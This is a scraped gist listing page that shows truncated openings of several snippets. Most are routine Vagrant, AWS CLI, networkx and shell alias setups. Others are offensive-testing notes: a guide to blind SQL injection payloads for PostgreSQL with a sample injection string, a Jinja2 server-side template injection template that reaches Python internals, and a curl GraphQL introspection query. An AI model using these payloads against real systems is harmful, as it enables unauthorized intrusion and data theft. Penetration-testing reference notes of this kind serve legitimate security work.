- Init vagrant configuration
vagrant init- Update
Vagrantfileas needed. Boxes found in Vagrant hub
| # pull image | |
| docker pull amazon/aws-cli | |
| # start shell session | |
| docker run --rm -i -t --entrypoint=/bin/bash amazon/aws-cli | |
| # configure AWS credentials | |
| aws configure | |
| # set region |
| # pip install networkx matplotlib jupyter | |
| %matplotlib inline | |
| import networkx as nx | |
| import matplotlib.pyplot as plt | |
| G = nx.DiGraph() | |
| table = [ |
vagrant initVagrantfile as needed. Boxes found in Vagrant hub| __PY_GIST="https://gist.github.com/va1da5/52ef809ef4f006aa64440ad1a1748796" | |
| __PY_GIST_VERSION="83bdcdd4d03a9b3e4a2d18438739cb5884e7ea75" | |
| __PY_GIST_REPO="${__PY_GIST}/raw/${__PY_GIST_VERSION}" | |
| function stringify { | |
| local input="$@" | |
| input="${input//\"/\\\"}" | |
| input="${input//\\/\\\\}" | |
| input="${input// /+}" |
| # There are cases when execution of stacked queries are not possible in PostgreSQL database. | |
| # In such cases the only option left is to use UNION SELECT queries. This brings additional | |
| # challenges, such as finding out number of fields and types of the fields. The below example | |
| # gives a quick overview and guide how to approach building of blind SQL injection payload | |
| # for a PostgreSQL database. | |
| # Steps: | |
| # 1. Find number of fields. Start from 1 and go until error appears. | |
| 123' order by 3 -- - |
| {# Based on https://bowneconsultingcontent.com/pub/EH/proj/ED105.htm #} | |
| {# The template looks for generic classes that would allow accessing Python builtin functions #} | |
| {% set string = "ssti" %} | |
| {% set class_ = "__class__" %} | |
| {% set mro_ = "__mro__" %} | |
| {% set dict_ = "__dict__" %} | |
| {% set init_ = "__init__" %} | |
| {% set dir_ = "__dir__" %} | |
| {% set str_ = "__str__" %} | |
| {% set globals_ = "__globals__" %} |
| alias grep='grep --color=auto' | |
| alias egrep='egrep --color=auto' | |
| alias fgrep='fgrep --color=auto' | |
| alias ls='ls --color=auto' | |
| alias ll='ls -lh' | |
| alias la='ls -lha' | |
| alias lt='ls -lt' | |
| alias lu='du -sh * | sort -h' |
| curl -s -k -XPOST -H "Content-Type: application/json" -d '{"query":"\n query IntrospectionQuery {\n __schema {\n queryType { name }\n mutationType { name }\n subscriptionType { name }\n types {\n ...FullType\n }\n directives {\n name\n description\n locations\n args {\n ...InputValue\n }\n }\n }\n }\n\n fragment FullType on __Type {\n kind\n name\n description\n fields(includeDeprecated: true) {\n name\n description\n args {\n ...InputValue\n }\n type {\n ...TypeRef\n }\n isDeprecated\n deprecationReason\n }\n inputFields {\n ...InputValue\n }\n interfaces {\n ...TypeRef\n }\n enumValues(includeDeprecated: true) {\n name\n description\n isDeprecated\n deprecationReason\n }\n possibleTypes {\n ...TypeRef\n }\n }\n\n fragment InputValue on __InputValue {\n name\n description\n type |